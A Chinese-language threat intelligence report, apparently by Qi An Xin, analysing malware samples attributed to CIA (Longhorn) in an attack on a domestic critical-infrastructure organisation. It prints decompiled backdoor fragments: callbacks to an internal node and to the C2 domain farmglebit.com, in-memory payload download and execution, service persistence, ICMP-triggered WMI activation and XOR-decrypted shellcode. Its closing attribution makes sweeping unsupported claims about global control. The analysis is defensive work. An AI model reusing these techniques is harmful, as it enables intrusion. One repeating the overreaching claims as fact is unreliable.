CIA（Longhorn）近期针对国内关基单位攻击

组织背景

Longhorn 由国外安全厂商赛门铁克在 Vault 7 泄漏间谍工具后命名。Longhorn 至少从 2011 年开始活动，Longhorn 感染了来自至少 16 个国家包括中东、欧洲、亚洲和非洲等的 40 个目标，主要影响金融、电信、能源、航空航天、信息科技、教育、和自然资源等部门。它使用了多种后门木马结合 0day 漏洞进行攻击。

在 2014 年，赛门铁克捕获到使用 word 文档的零日漏洞 CVE-2014-4148 的 Plexor，注意到了 Longhorn 的攻击活动。

2019 年 9 月，奇安信威胁情报中心红雨滴团队发布《美国中央情报局网络武器库分析与披露》，详细对历史曝光的 CIA 网络武器及相关资料进行研究，并发现了多种网络武器文件，并且根据分析的结果与现有公开资料内容进行了关联和判定。并且还发现这些网络武器曾用于攻击中国的目标人员和机构，其相关攻击活动主要发生在 2012 年到 2017 年（与 Vault7 资料公开时间相吻合），并且在其相关资料被曝光后直至 2018 年末，依然维持着部分攻击活动，目标可能涉及国内的航空行业。

2020 年 3 月 2 号，奇虎 360 发布报告，发现从 2008 年（从 2008 年 9 月到 2019 年 6 月）开始，主长达十一年的攻击活动，攻击目标要分布在北京、广东、浙江等省份。并命名为 APT-C-39。

概要

近期，奇安信威胁情报中发现一起针对国内关基单位的复杂攻击，并成功捕获到几个相关攻击样本，进一步跟踪分析后，我们根据攻击者使用的攻击手法和恶意代码的特点，将此次攻击活动归为 CIA（Longhorn）组织。以下是对捕获到的攻击样本分析。

CIA 样本分析

arpclientenu.dll 1

MD5：A4B3FBC88B6CFD51E5C2AE00514C27BB

CMD 执行 ipconfig 命令，将结果写入 arpguard.log

```
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
  if ( fdwReason == 1 )
    sub_73A23404("ipconfig > arpguard.log");
  return 1;
}
```

arpclientenu.dll 2

MD5：87D44B8CEFFDF3DFFC7E264A21BA5F4C

回连内网中的节点 192.168.1.252: 39000，具有执行 CMD、上传、下载功能

```
v26 = &v9;
v27 = 0;
if ( WSAStartup(0x202u, &WSAData) )
{
  sub_10001360("WSAStartup %d");
  return 0;
}
else
{
  name.sa_family = 2;
  *(_DWORD *)&name.sa_data[2] = inet_addr("192.168.1.252");
  *(_WORD *)name.sa_data = htons(0x9858u);
  s = socket(2, 1, 6);
  if ( connect(s, &name, 16) == -1 )
  {
    sub_10001360("connection failed");
    return 0;
  }
  else
```

远控功能需要特定的网络流量触发，格式为 TargetInstance.ReceivedTimestampPersec > 11 的 ICMP 包

```
  *((_DWORD *)v3 + 1) = 0;
  *((_DWORD *)v3 + 2) = 1;
  *v3 = sub_6E9192F0(
          "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_Tcpip_I"
          "CMP' AND TargetInstance.ReceivedTimestampPersec > 11");
}
else
```

update(ingress) 1

MD5：B875E2CD3290CB95FE6E508BE89200D4

连接内网节点 192.168.1.252:817，检测感染设备是否存在指定文件 C:\ProgramData\Microsoft\DeviceSync\DeviceSyncMng.dat、C:\WINDOWS\SystemSync\ssvc.exe

并将检测结果发送到内网节点的 WinVersion.htm 页面

```
wcscat_s(pwszObjectName, 0x3E8u, v6);
v7 = WinHttpConnect(v4, L"192.168.1.252", 0x331u, 0);
v8 = v7;
if ( v7 )
{
  v9 = WinHttpOpenRequest(v7, L"GET", L"/WinVersion.htm", L"HTTP/1.1", 0, 0, 0);
  hInternet = v9;
  if ( v9 )
  {
    WinHttpSendRequest(v9, 0, 0, 0, 0, 0, 0);
    WinHttpCloseHandle(hInternet);
    v10 = PathFileExistsA(Dst);            // "C:\\ProgramData\\Microsoft\\DeviceSync\\DeviceSyncMng.dat"
    v11 = L"&a=1";
    if ( !v10 )
      v11 = L"&a=0";
    wcscat_s(pwszObjectName, 0x3E8u, v11);
    v12 = PathFileExistsA("C:\\WINDOWS\\SystemSync\\ssvc.exe");
    v13 = L"&b=1";
    if ( !v12 )
      v13 = L"&b=0";
    wcscat_s(pwszObjectName, 0x3E8u, v13);
    v14 = WinHttpOpenRequest(v8, L"GET", pwszObjectName, L"HTTP/1.1", 0, 0, 0);
    v15 = v14;
```

update(ingress) 2

MD5：D56CEF275D4C54738E43B4FBDA4CF2F0

回连 C2：farmglebit.com，下载载荷到内存中执行

```
if ( !v4 )
  a2 = *(const WCHAR **)a2;
if ( !InternetCrackUrlW(a2, v5, 0, &UrlComponents) )// https://farmglebit.com
  goto LABEL_24;
v6 = InternetOpenW(
       L"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36",
       0,
       0,
       0,
       0);
v7 = v6;
v20 = v6;
if ( !v6 )
  goto LABEL_24;
lpszObjectName[8] = (LPCWSTR)InternetCloseHandle;
lpszObjectName[9] = (LPCWSTR)v6;
v31 = 1;
sub_2EA52C(UrlComponents.lpszHostName, UrlComponents.dwHostNameLength);
LOBYTE(v31) = 2;
v8 = (const WCHAR *)lpszServerName;
if ( lpszServerName[5] >= (LPCWSTR)8 )
  v8 = lpszServerName[0];
v9 = InternetConnectW(v7, v8, UrlComponents.nPort, 0, 0, 3u, 0, 0);
```

update(ingress) 3

MD5：6E156E987492F41F7CEA89EBE678FA6F

回连内网节点 192.168.1.252:45443，执行下 CMD 命令

```
*(_QWORD *)&StartupInfo.lpTitle = 0i64;
*(_QWORD *)&StartupInfo.dwY = 0i64;
*(_QWORD *)&StartupInfo.dwYSize = 0i64;
*(_QWORD *)&StartupInfo.dwYCountChars = 0i64;
StartupInfo.cb = 68;
StartupInfo.dwFlags = 256;
*(_QWORD *)CommandLine = 0i64;
sub_D81010((int)CommandLine, 8, (int)"%s%s%s%s", (int)"c");
CreateProcessA(0, CommandLine, 0, 0, 1, 0x8000000u, 0, 0, &StartupInfo, (LPPROCESS_INFORMATION)&hObject);// CMD
CloseHandle(hObject);
CloseHandle(*(&hObject + 1));
```

update(programdata)

MD5：D30680D390E4E0BD94F99D5276B349A5

首先检测自身是否为 C:\WINDOWS\scanner\usbscan.exe，如果是则作为服务启动远控功能

```
if ( !GetModuleFileNameA(0, Filename, 0x104u) )
{
  LastError = GetLastError();
  sub_9C1270((int)"get %s %s: %d", "a1hGB", "jgFr4", LastError);
  return 1;
}
sub_9C1270((int)"running from: %s", Filename);
if ( !strncmp("C:\\WINDOWS\\scanner\\usbscan.exe", Filename, 0x104u) )
{
  sub_9C1270((int)"%s", "hK2mz");
  ServiceStartTable.lpServiceName = (LPSTR)"usbscan";
  ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_9C16A0;
  v15 = 0;
  v16 = 0;
  StartServiceCtrlDispatcherA(&ServiceStartTable);
}
```

如果不是则将自身复制过去

```
if ( !CreateDirectoryA("C:\\WINDOWS\\scanner", 0) && GetLastError() != 183 )
{
  v11 = GetLastError();
  sub_9C1270((int)"%s %s: %d", "bAvve", "jgFr4", v11);
  return 1;
}
sub_9C1270((int)"%s %s", "bAvve", "C:\\WINDOWS\\scanner");
if ( !CopyFileA(Filename, "C:\\WINDOWS\\scanner\\usbscan.exe", 0) )
{
  v12 = GetLastError();
  sub_9C1270((int)"copy %s: %d", "jgFr4", v12);
  return 1;
}
```

复制成功后会将注册 usbscan 服务

```
{
  ServiceA = OpenServiceA(v0, "usbscan", 0xF01FFu);
  if ( ServiceA )
  {
    sub_9C1270((int)"%s found, %sing", "gYww2", "hK2mz");
    if ( !StartServiceA(ServiceA, 0, 0) )
      sub_9C1270((int)"%s %s %s", "hK2mz", "gYww2", "jgFr4");
  }
  else if ( GetLastError() == 1060 )
  {
    ServiceA = CreateServiceA(
                 v1,
                 "usbscan",
                 "USB Device Scanner",
                 0xF01FFu,
                 0x10u,
                 2u,
                 0,
                 "%SystemRoot%\\System32\\svchost.exe",
                 0,
                 0,
```

将服务路径设置为自身并启动

```
      if ( ChangeServiceConfigA(
             ServiceA,
             0xFFFFFFFF,
             0xFFFFFFFF,
             0xFFFFFFFF,
             "C:\\WINDOWS\\scanner\\usbscan.exe",
             0,
             0,
             0,
             0,
             0,
             0) )
      {
        if ( !StartServiceA(ServiceA, 0, 0) )
```

其远控功能与 arpclientenu.dll 2 一致，但网络流量触发方式变为 ICMP 包 的 TargetInstance.ReceivedTimestampPersec > 9

```
  *v3 = sub_9C9820(
          "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_Tcpip_I"
          "CMP' AND TargetInstance.ReceivedTimestampPersec > 9");
}
```

SSVC.exe

MD5：F87A45F2CD3A861C6FEB60350EC8D047

该样本为 payload 加载插件，当判断自身不是 C:\WINDOWS\SystemSync\ssvc.exe 时，向内网节点 192.168.1.252:817 的 disabled.htm 发送请求。

```
else
{
  v46 = WinHttpOpen(L"Wget/1.11.4", 0, 0, 0, 0);
  v47 = v46;
  if ( v46 )
  {
    v48 = WinHttpConnect(v46, L"192.168.1.252", 0x331u, 0);
    v49 = v48;
    if ( v48 )
    {
      v50 = WinHttpOpenRequest(v48, L"GET", L"/disabled.htm",
      ThreadId = (DWORD)v50;
      if ( v50 )
      {
```

之后会将自身复制到此处

```
if ( !CreateDirectoryA("C:\\WINDOWS\\SystemSync", 0) && GetLastError() != 183 )
{
  v51 = GetLastError();
  sub_E11210((int)"CreateDirectory failed with error: %d", v51);
  v32 = 1;
  goto LABEL_86;
}
sub_E11210((int)"Directory %s created", "C:\\WINDOWS\\SystemSync");
if ( !CopyFileA(Filename, "C:\\WINDOWS\\SystemSync\\ssvc.exe", 1) )
{
  v52 = GetLastError();
  sub_E11210((int)"CopyFile failed with error: %d", v52);
  v32 = 1;
  goto LABEL_86;
```

并注册关联的服务

```
else if ( GetLastError() == 1060 )
{
  ServiceA = CreateServiceA(
               v1,
               "SystemAutoSync",
               "System Auto Sync Service",
               0xF01FFu,
               0x10u,
               2u,
               0,
               "%SystemRoot%\\System32\\svchost.exe -k rpcsvc",
               0,
               0,
```

当作为服务运行时，会监控网络流量包，通过特殊的 ICMP 包(TargetInstance.ReceivedTimestampPersec > 10)来触发插件功能

```
  *v3 = sub_E136C0(
          "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_Tcpip_I"
          "CMP' AND TargetInstance.ReceivedTimestampPersec > 10");
}
```

当插件被触发后，他会以 -m1 的参数创建自身的新进程

```
sub_E11210((int)"Running: %s", CommandLine);
if ( CreateProcessA(0, CommandLine, 0, 0, 0, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation) )
{                                       // C:\\WINDOWS\\SystemSync\\ssvc.exe -m1
  CloseHandle(ProcessInformation.hProcess);
  CloseHandle(ProcessInformation.hThread);
  v2 = 1;
}
```

如果命令行参数为 -m1，其会在内存中解密一段 shellcode 并执行

```
    Src[i + 2] = byte_E2FF02[i] ^ a5Bmkjsjas9vW[v38];
    if ( v38 != 14 )
      v39 = &a5Bmkjsjas9vW[v38 + 1];
    v40 = *v39;
    v41 = 1;
    Src[i + 3] = byte_E2FF03[i] ^ v40;
    if ( v38 != 14 )
      v41 = v38 + 2;
    v33 = 0;
    if ( v41 != 15 )
      v33 = v41;
  }
  v42 = VirtualAlloc(0, 0x3DCu, 0x3000u, 0x40u);
  if ( v42 )
  {
    memmove(v42, Src, 0x3DCu);
    v44 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)v42, 0, 0, &ThreadId);
```

这段 shellcode 用来实现加载 payload 的功能，首先向内网节点 192.168.1.252，47443 端口发送请求,走 tls 协议

```
v4 = a4 + 54;
v5 = ((int (__cdecl *)(int, int))a3)(-1038181562, a1);// <winhttp.WinHttpConnect>
                                        // 192.168.1.252
v6 = a3(0x5BB31098, v5, a2, v4, a2, a2, a2, 0x800100);//
                                        // <winhttp.WinHttpOpenRequest>
                                        // L"/g_HiWx8oG2yjw6LC_pb8hgPMBfYDVpMPDND4KkKld3fqf0BQXpXzamSpi
v18 = v4;
v17 = &v19;
v16 = 1611376417;
if ( !((int (*)(void))a3)() )           // <winhttp.WinHttpGetIEProxyConfigForCurrentUser>
```

最后将请求到的数据在内存中加载执行

```
  ;
LABEL_11:
    ((void (*)(void))loc_32103D2)();            // go payload
LABEL_12:
    ;
  }
  while ( !((int (__cdecl *)(int, int, int))a3)(1889372165, v6, a2) );// <winhttp.WinHttpReceiveResponse>
  a2 = ((int (__cdecl *)(int, int, int, int, int))a3)(-447503272, a2, 0x400000, 4096, 64);// <kernel32.VirtualAlloc>
  v12[1] = a2;
  v12[0] = a2;
  do
  {
    if ( !((int (__cdecl *)(int, int, int, int, _DWORD *))a3)(2116299116, v6, a2, 0x2000, v12) )// <winhttp.WinHttpReadData>
      goto LABEL_11;
    a2 += v12[0];
```

溯源分析

通过对样本整体分析，我们发现本次攻击行动与 CIA（Longhorn）之前使用的攻击手段相符合，攻击者使用的恶意代码特点也表现出极高的相似度，上文提及的 shellcode 解密算法与该组织过往使用的恶意宏代码之间的相似性。因此，我们有足够的理由将本次针对国内某关基单位的攻击活动归属于 CIA（Longhorn）组织。

以往使用的解密算法

```
Src[i+2]= byte_H5GB02[i]^b2Dcvgegkeq7mR[v41];
if(v45 != 14 )
    v46 = &b2Dcvgegkeq7mR[v38 + 1];
    v47 = *v46;
    v48 = 1;
    Src[i + 3]=byte_H5GB03[i]^ v47;
    if( v45 != 14 )
        v47 = v45 + 2;
    v40 = 0;
    if( v48 != 15 )
        v40 = v48;
    v49 =VirtualAlloc(0, 0x3Dcu,0x3000u,0x40u);
    if ( v49 )
    {
        memmove(v49,Src,0x3DCu);
        v51 = CreateThread(0,0,(LPTHREAD START ROUTINE)V49,0,0,&ThreadId);
```

本次使用的解密算法

```
      Src[i + 2] = byte_E2FF02[i] ^ a5Bmkjsjas9vW[v38];
      if ( v38 != 14 )
        v39 = &a5Bmkjsjas9vW[v38 + 1];
      v40 = *v39;
      v41 = 1;
      Src[i + 3] = byte_E2FF03[i] ^ v40;
      if ( v38 != 14 )
        v41 = v38 + 2;
      v33 = 0;
      if ( v41 != 15 )
        v33 = v41;
    }
    v42 = VirtualAlloc(0, 0x3DCu, 0x3000u, 0x40u);
    if ( v42 )
    {
      memmove(v42, Src, 0x3DCu);
      v44 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)v42, 0, 0, &ThreadId);
```

溯源分析结论

CIA（Longhorn）组织架构包括行动司、情报司、科技司、行政管理与后勤司、计划与协调部。负责的主要业务包括执行收集外国政府、公司和个人的信息、分析其他美国情报机构收集的信息以及情报、提供国家安全情报评估给美国高级决策者、在美国总统要求下执行或监督秘密活动等。

其网络武器使用了极其严格的间谍技术规范，各种攻击手法前后呼应、环环相扣，现已覆盖全球几乎所有互联网和物联网资产，可以随时随地控制别国网络，盗取别国重要、敏感数据。

防护建议

奇安信威胁情报中心提醒广大用户，谨防钓鱼攻击，切勿打开社交媒体分享的来历不明的链接，不点击执行未知来源的邮件附件，不运行标题夸张的未知文件，不安装非正规途径来源的 APP。做到及时备份重要文件，更新安装补丁。

若需运行，安装来历不明的应用，可先通过奇安信威胁情报文件深度分析平台（https://sandbox.ti.qianxin.com/sandbox/page）进行判别。目前已支持包括 Windows、安卓平台在内的多种格式文件深度分析。

目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、奇安信 NGSOC、奇安信态势感知等，都已经支持对此类攻击的精确检测。